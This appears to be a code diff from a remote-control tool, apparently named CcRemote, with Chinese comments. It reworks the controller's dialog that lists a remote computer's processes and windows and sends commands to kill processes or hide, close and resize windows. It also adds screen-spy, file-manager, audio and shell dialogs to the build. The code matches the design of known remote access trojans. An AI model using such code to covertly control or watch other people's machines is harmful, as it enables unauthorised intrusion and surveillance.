void DrawFirstScreen(void);
|
||||
void DrawNextScreenDiff(void);
|
||||
void DrawNextScreenRect(void);
|
||||
void ResetScreen(void);
|
||||
void SendCommand(MSG* pMsg);
|
||||
bool SaveSnapshot(void);
|
||||
void SendResetAlgorithm(UINT nAlgorithm);
|
||||
void SendResetScreen(int nBitCount);
|
||||
|
||||
};
|
@@ -15,9 +15,13 @@ IMPLEMENT_DYNAMIC(CSystemDlg, CDialog)
|
||||
CSystemDlg::CSystemDlg(CWnd* pParent /*=nullptr*/, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_SYSTEM, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer; //就是一个赋值没什么特别的我们到oninitdialog
|
||||
m_iocpServer = pIOCPServer; //参数赋值给成员变量
|
||||
m_pContext = pContext;
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_SYSTEM));
|
||||
//这里判断是窗口管理还是进程管理因为进程管理的数据头是TOKEN_PSLIST
|
||||
//窗口管理的数据头TOKEN_WSLIST 我们可以用这两个数据头来区分
|
||||
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(0));
|
||||
m_caseSyetemIs = lpBuffer[0];
|
||||
}
|
||||
|
||||
CSystemDlg::~CSystemDlg()
|
||||
@@ -27,16 +31,22 @@ CSystemDlg::~CSystemDlg()
|
||||
void CSystemDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_TAB, m_tab);
|
||||
DDX_Control(pDX, IDC_LIST_WINDOWS, m_list_windows);
|
||||
DDX_Control(pDX, IDC_LIST_PROCESS, m_list_process);
|
||||
DDX_Control(pDX, IDC_LIST_PROCESS_OR_WINDOW, m_list_process_or_windows);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CSystemDlg, CDialog)
|
||||
ON_WM_SIZE()
|
||||
ON_WM_CLOSE()
|
||||
ON_NOTIFY(TCN_SELCHANGE, IDC_TAB, &CSystemDlg::OnTcnSelchangeTab)
|
||||
ON_COMMAND(IDM_KILLPROCESS, &CSystemDlg::OnKillprocess)
|
||||
ON_COMMAND(IDM_REFRESHPSLIST, &CSystemDlg::OnRefreshpslist)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST_PROCESS_OR_WINDOW, &CSystemDlg::OnNMRClickListProcess)
|
||||
ON_COMMAND(ID_WINDOW_CLOST, &CSystemDlg::OnWindowClost)
|
||||
ON_COMMAND(ID_WINDOW_HIDE, &CSystemDlg::OnWindowHide)
|
||||
ON_COMMAND(ID_WINDOW_MAX, &CSystemDlg::OnWindowMax)
|
||||
ON_COMMAND(ID_WINDOW_MIN, &CSystemDlg::OnWindowMin)
|
||||
ON_COMMAND(ID_WINDOW_RETURN, &CSystemDlg::OnWindowReturn)
|
||||
ON_COMMAND(ID_WINDOW_REFLUSH, &CSystemDlg::OnWindowReflush)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
@@ -44,16 +54,20 @@ END_MESSAGE_MAP()
|
||||
|
||||
void CSystemDlg::AdjustList(void)
|
||||
{
|
||||
if (m_list_process_or_windows.m_hWnd == NULL)
|
||||
{
|
||||
return;
|
||||
}
|
||||
RECT rectClient;
|
||||
RECT rectList;
|
||||
GetClientRect(&rectClient);
|
||||
rectList.left = 0;
|
||||
rectList.top = 29;
|
||||
rectList.top = 0;
|
||||
rectList.right = rectClient.right;
|
||||
rectList.bottom = rectClient.bottom;
|
||||
|
||||
m_list_process.MoveWindow(&rectList);
|
||||
m_list_windows.MoveWindow(&rectList);
|
||||
m_list_process_or_windows.MoveWindow(&rectList);
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -73,33 +87,6 @@ void CSystemDlg::OnClose()
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
ShowSelectWindow();
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
void CSystemDlg::ShowSelectWindow(void)
|
||||
{
|
||||
switch (m_tab.GetCurSel())
|
||||
{
|
||||
case 0:
|
||||
m_list_windows.ShowWindow(SW_HIDE);
|
||||
m_list_process.ShowWindow(SW_SHOW);
|
||||
if (m_list_process.GetItemCount() == 0)
|
||||
GetProcessList();
|
||||
break;
|
||||
case 1:
|
||||
m_list_windows.ShowWindow(SW_SHOW);
|
||||
m_list_process.ShowWindow(SW_HIDE);
|
||||
if (m_list_windows.GetItemCount() == 0)
|
||||
//GetWindowsList();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::GetProcessList(void)
|
||||
@@ -128,23 +115,23 @@ BOOL CSystemDlg::OnInitDialog()
|
||||
SetWindowText(str);//设置对话框标题
|
||||
|
||||
|
||||
m_tab.InsertItem(0, "进程管理"); //为tab设置标题
|
||||
m_tab.InsertItem(1, "窗口管理");
|
||||
m_tab.InsertItem(2, "拨号密码");
|
||||
|
||||
m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
|
||||
m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
|
||||
m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
|
||||
m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
|
||||
|
||||
m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
|
||||
m_list_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
|
||||
m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
|
||||
|
||||
|
||||
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
|
||||
{
|
||||
m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化进程的列表
|
||||
m_list_process_or_windows.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);
|
||||
m_list_process_or_windows.InsertColumn(1, "PID", LVCFMT_LEFT, 50);
|
||||
m_list_process_or_windows.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);
|
||||
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
|
||||
}
|
||||
else if (m_caseSyetemIs == TOKEN_WSLIST)//窗口管理初始化列表
|
||||
{
|
||||
m_list_process_or_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); //初始化 窗口管理的列表
|
||||
m_list_process_or_windows.InsertColumn(0, "PID", LVCFMT_LEFT, 50);
|
||||
m_list_process_or_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 300);
|
||||
m_list_process_or_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 300);
|
||||
ShowWindowsList();
|
||||
}
|
||||
AdjustList(); //各个列表的大小
|
||||
ShowProcessList(); //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中
|
||||
ShowSelectWindow(); //显示列表
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
@@ -157,7 +144,7 @@ void CSystemDlg::ShowProcessList(void)
|
||||
char *strProcessName;
|
||||
DWORD dwOffset = 0;
|
||||
CString str;
|
||||
m_list_process.DeleteAllItems();
|
||||
m_list_process_or_windows.DeleteAllItems();
|
||||
//遍历发送来的每一个字符 数据结构 Id+进程名+0+完整名+0
|
||||
int i;
|
||||
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||||
@@ -167,12 +154,12 @@ void CSystemDlg::ShowProcessList(void)
|
||||
strProcessName = strExeFile + lstrlen(strExeFile) + 1; //完整名就是进程名之后的
|
||||
//数据结构构建巧妙
|
||||
|
||||
m_list_process.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
|
||||
m_list_process_or_windows.InsertItem(i, strExeFile); //将得到的数据加入到列表当中
|
||||
str.Format("%5u", *lpPID);
|
||||
m_list_process.SetItemText(i, 1, str);
|
||||
m_list_process.SetItemText(i, 2, strProcessName);
|
||||
m_list_process_or_windows.SetItemText(i, 1, str);
|
||||
m_list_process_or_windows.SetItemText(i, 2, strProcessName);
|
||||
// ItemData 为进程ID
|
||||
m_list_process.SetItemData(i, *lpPID);
|
||||
m_list_process_or_windows.SetItemData(i, *lpPID);
|
||||
|
||||
dwOffset += sizeof(DWORD) + lstrlen(strExeFile) + lstrlen(strProcessName) + 2; //跳过这个数据结构 进入下一个循环
|
||||
}
|
||||
@@ -182,5 +169,279 @@ void CSystemDlg::ShowProcessList(void)
|
||||
lvc.mask = LVCF_TEXT;
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_list_process.SetColumn(2, &lvc); //在列表中显示有多少个进程
|
||||
m_list_process_or_windows.SetColumn(2, &lvc); //在列表中显示有多少个进程
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnKillprocess()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
if (m_list_process_or_windows.IsWindowVisible())
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
else if (m_list_process_or_windows.IsWindowVisible())
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
else
|
||||
return;
|
||||
|
||||
// TODO: Add your command handler code here
|
||||
//非配缓冲区
|
||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + (pListCtrl->GetSelectedCount() * 4));
|
||||
//加入结束进程的数据头
|
||||
lpBuffer[0] = COMMAND_KILLPROCESS;
|
||||
//显示警告信息
|
||||
char *lpTips = "警告: 终止进程会导致不希望发生的结果,\n"
|
||||
"包括数据丢失和系统不稳定。在被终止前,\n"
|
||||
"进程将没有机会保存其状态和数据。";
|
||||
CString str;
|
||||
if (pListCtrl->GetSelectedCount() > 1)
|
||||
{
|
||||
str.Format("%s确实\n想终止这%d项进程吗?", lpTips, pListCtrl->GetSelectedCount());
|
||||
}
|
||||
else
|
||||
{
|
||||
str.Format("%s确实\n想终止该项进程吗?", lpTips);
|
||||
}
|
||||
if (::MessageBox(m_hWnd, str, "进程结束警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
|
||||
return;
|
||||
|
||||
DWORD dwOffset = 1;
|
||||
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
|
||||
//得到要结束哪个进程
|
||||
while (pos) //so long as we have a valid POSITION, we keep iterating
|
||||
{
|
||||
int nItem = pListCtrl->GetNextSelectedItem(pos);
|
||||
DWORD dwProcessID = pListCtrl->GetItemData(nItem);
|
||||
memcpy(lpBuffer + dwOffset, &dwProcessID, sizeof(DWORD));
|
||||
dwOffset += sizeof(DWORD);
|
||||
}
|
||||
//发送数据到服务端到服务端查找COMMAND_KILLPROCESS这个数据头
|
||||
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
|
||||
LocalFree(lpBuffer);
|
||||
}
|
||||
|
||||
void CSystemDlg::ShowWindowsList(void)
|
||||
{
|
||||
LPBYTE lpBuffer = (LPBYTE)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
DWORD dwOffset = 0;
|
||||
char *lpTitle = NULL;
|
||||
//m_list_process.DeleteAllItems();
|
||||
bool isDel = false;
|
||||
do
|
||||
{
|
||||
isDel = false;
|
||||
for (int j = 0; j < m_list_process_or_windows.GetItemCount(); j++)
|
||||
{
|
||||
CString temp = m_list_process_or_windows.GetItemText(j, 2);
|
||||
CString restr = "隐藏";
|
||||
if (temp != restr)
|
||||
{
|
||||
m_list_process_or_windows.DeleteItem(j);
|
||||
isDel = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
} while (isDel);
|
||||
CString str;
|
||||
int i;
|
||||
for (i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||||
{
|
||||
LPDWORD lpPID = LPDWORD(lpBuffer + dwOffset);
|
||||
lpTitle = (char *)lpBuffer + dwOffset + sizeof(DWORD);
|
||||
str.Format("%5u", *lpPID);
|
||||
m_list_process_or_windows.InsertItem(i, str);
|
||||
m_list_process_or_windows.SetItemText(i, 1, lpTitle);
|
||||
m_list_process_or_windows.SetItemText(i, 2, "显示"); //(d) 将窗口状态显示为 "显示"
|
||||
// ItemData 为窗口句柄
|
||||
m_list_process_or_windows.SetItemData(i, *lpPID); //(d)
|
||||
dwOffset += sizeof(DWORD) + lstrlen(lpTitle) + 1;
|
||||
}
|
||||
str.Format("窗口名称 / %d", i);
|
||||
LVCOLUMN lvc;
|
||||
lvc.mask = LVCF_TEXT;
|
||||
lvc.pszText = str.GetBuffer(0);
|
||||
lvc.cchTextMax = str.GetLength();
|
||||
m_list_process_or_windows.SetColumn(1, &lvc);
|
||||
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnRefreshpslist()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
if (m_list_process_or_windows.IsWindowVisible())
|
||||
GetProcessList();
|
||||
//if (m_list_windows.IsWindowVisible())
|
||||
//GetWindowsList();
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
CMenu popup;
|
||||
if (m_caseSyetemIs == TOKEN_PSLIST) //进程管理初始化列表
|
||||
{
|
||||
popup.LoadMenu(IDR_PSLIST);
|
||||
}
|
||||
else if (m_caseSyetemIs == TOKEN_WSLIST)
|
||||
{
|
||||
popup.LoadMenu(IDR_WINDOW_LIST);
|
||||
}
|
||||
CMenu* pM = popup.GetSubMenu(0);
|
||||
CPoint p;
|
||||
GetCursorPos(&p);
|
||||
|
||||
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_PSLIST:
|
||||
ShowProcessList();
|
||||
break;
|
||||
case TOKEN_WSLIST:
|
||||
ShowWindowsList();
|
||||
break;
|
||||
//case TOKEN_DIALUPASS:
|
||||
//ShowDialupassList();
|
||||
//break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowClost()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_CLOSE; //注意这个就是我们的数据头
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowHide()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //窗口处理数据头
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //得到窗口的句柄一同发送
|
||||
pListCtrl->SetItemText(nItem, 2, "隐藏"); //注意这时将列表中的显示状态为"隐藏"
|
||||
//这样在删除列表条目时就不删除该项了 如果删除该项窗口句柄会丢失 就永远也不能显示了
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD)); //得到窗口的句柄一同发送
|
||||
DWORD dHow = SW_HIDE; //窗口处理参数 0
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
}
|
||||
}
|
||||
|
||||
void CSystemDlg::OnWindowMax()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST; //同上
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem); //同上
|
||||
pListCtrl->SetItemText(nItem, 2, "显示"); //将状态改为显示
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MAXIMIZE; //同上
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowMin()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem);
|
||||
pListCtrl->SetItemText(nItem, 2, "显示");
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_MINIMIZE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowReturn()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
BYTE lpMsgBuf[20];
|
||||
CListCtrl *pListCtrl = NULL;
|
||||
pListCtrl = &m_list_process_or_windows;
|
||||
|
||||
int nItem = pListCtrl->GetSelectionMark();
|
||||
if (nItem >= 0)
|
||||
{
|
||||
ZeroMemory(lpMsgBuf, 20);
|
||||
lpMsgBuf[0] = COMMAND_WINDOW_TEST;
|
||||
DWORD hwnd = pListCtrl->GetItemData(nItem);
|
||||
pListCtrl->SetItemText(nItem, 2, "显示");
|
||||
memcpy(lpMsgBuf + 1, &hwnd, sizeof(DWORD));
|
||||
DWORD dHow = SW_RESTORE;
|
||||
memcpy(lpMsgBuf + 1 + sizeof(hwnd), &dHow, sizeof(DWORD));
|
||||
m_iocpServer->Send(m_pContext, lpMsgBuf, sizeof(lpMsgBuf));
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::OnWindowReflush()
|
||||
{
|
||||
// TODO: 在此添加命令处理程序代码
|
||||
GetWindowsList();
|
||||
}
|
||||
|
||||
|
||||
void CSystemDlg::GetWindowsList(void)
|
||||
{
|
||||
BYTE bToken = COMMAND_WSLIST;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
}
|
||||
|
@@ -21,23 +21,34 @@ protected:
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CTabCtrl m_tab;
|
||||
CListCtrl m_list_windows;
|
||||
CListCtrl m_list_process;
|
||||
CListCtrl m_list_process_or_windows;
|
||||
private:
|
||||
HICON m_hIcon;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
|
||||
BYTE m_caseSyetemIs; //用来区分窗口管理和进程管理
|
||||
private:
|
||||
void AdjustList(void);
|
||||
void ShowSelectWindow(void);
|
||||
void GetProcessList(void);
|
||||
|
||||
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnTcnSelchangeTab(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnKillprocess();
|
||||
afx_msg void OnRefreshpslist();
|
||||
afx_msg void OnNMRClickListProcess(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnWindowClost();
|
||||
afx_msg void OnWindowHide();
|
||||
afx_msg void OnWindowMax();
|
||||
afx_msg void OnWindowMin();
|
||||
afx_msg void OnWindowReturn();
|
||||
afx_msg void OnWindowReflush();
|
||||
|
||||
void GetWindowsList(void);
|
||||
void OnReceiveComplete(void);
|
||||
void ShowProcessList(void);
|
||||
void ShowWindowsList(void);
|
||||
};
|
||||
|
@@ -96,6 +96,7 @@
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<PrecompiledHeaderFile>pch.h</PrecompiledHeaderFile>
|
||||
<BasicRuntimeChecks>Default</BasicRuntimeChecks>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
@@ -201,9 +202,14 @@
|
||||
</ResourceCompile>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\common\Audio.h" />
|
||||
<ClInclude Include="..\..\common\macros.h" />
|
||||
<ClInclude Include="CAudioDlg.h" />
|
||||
<ClInclude Include="CcRemote.h" />
|
||||
<ClInclude Include="CcRemoteDlg.h" />
|
||||
<ClInclude Include="CFileManagerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="CScreenSpyDlg.h" />
|
||||
<ClInclude Include="CSettingDlg.h" />
|
||||
<ClInclude Include="CShellDlg.h" />
|
||||
<ClInclude Include="CSystemDlg.h" />
|
||||
@@ -213,6 +219,7 @@
|
||||
<ClInclude Include="include\IOCPServer.h" />
|
||||
<ClInclude Include="include\Mapper.h" />
|
||||
<ClInclude Include="IniFile.h" />
|
||||
<ClInclude Include="InputDlg.h" />
|
||||
<ClInclude Include="pch.h" />
|
||||
<ClInclude Include="PublicStruct.h" />
|
||||
<ClInclude Include="Resource.h" />
|
||||
@@ -221,8 +228,15 @@
|
||||
<ClInclude Include="TrueColorToolBar.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\CcMainDll\CcMainDll\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp" />
|
||||
<ClCompile Include="CcRemote.cpp" />
|
||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="CScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="CSettingDlg.cpp" />
|
||||
<ClCompile Include="CShellDlg.cpp" />
|
||||
<ClCompile Include="CSystemDlg.cpp" />
|
||||
@@ -241,6 +255,7 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Use</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Use</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="InputDlg.cpp" />
|
||||
<ClCompile Include="pch.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
@@ -254,13 +269,24 @@
|
||||
<ResourceCompile Include="CcRemote.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="res\1.cur" />
|
||||
<None Include="res\2.cur" />
|
||||
<None Include="res\3.cur" />
|
||||
<None Include="res\4.cur" />
|
||||
<None Include="res\CcRemote.rc2" />
|
||||
<None Include="res\dot.cur" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\audio.ico" />
|
||||
<Image Include="res\background_picture.bmp" />
|
||||
<Image Include="res\Bitmap_4.bmp" />
|
||||
<Image Include="res\Bitmap_5.bmp" />
|
||||
<Image Include="res\bmp00001.bmp" />
|
||||
<Image Include="res\CcRemote.ico" />
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
|
@@ -75,6 +75,24 @@
|
||||
<ClInclude Include="CSystemDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CScreenSpyDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CFileManagerDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileTransferModeDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="InputDlg.h">
|
||||
<Filter>源文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CAudioDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="..\..\common\Audio.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CcRemote.cpp">
|
||||
@@ -113,6 +131,24 @@
|
||||
<ClCompile Include="CSystemDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CScreenSpyDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CFileManagerDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileTransferModeDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="InputDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="..\..\common\Audio.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc">
|
||||
@@ -123,6 +159,21 @@
|
||||
<None Include="res\CcRemote.rc2">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\dot.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\1.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\2.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\3.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
<None Include="res\4.cur">
|
||||
<Filter>资源文件</Filter>
|
||||
</None>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="res\CcRemote.ico">
|
||||
@@ -140,5 +191,23 @@
|
||||
<Image Include="res\system.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\background_picture.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\Bitmap_4.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\Bitmap_5.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\bmp00001.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\toolbar2.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\audio.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -82,6 +82,11 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
|
||||
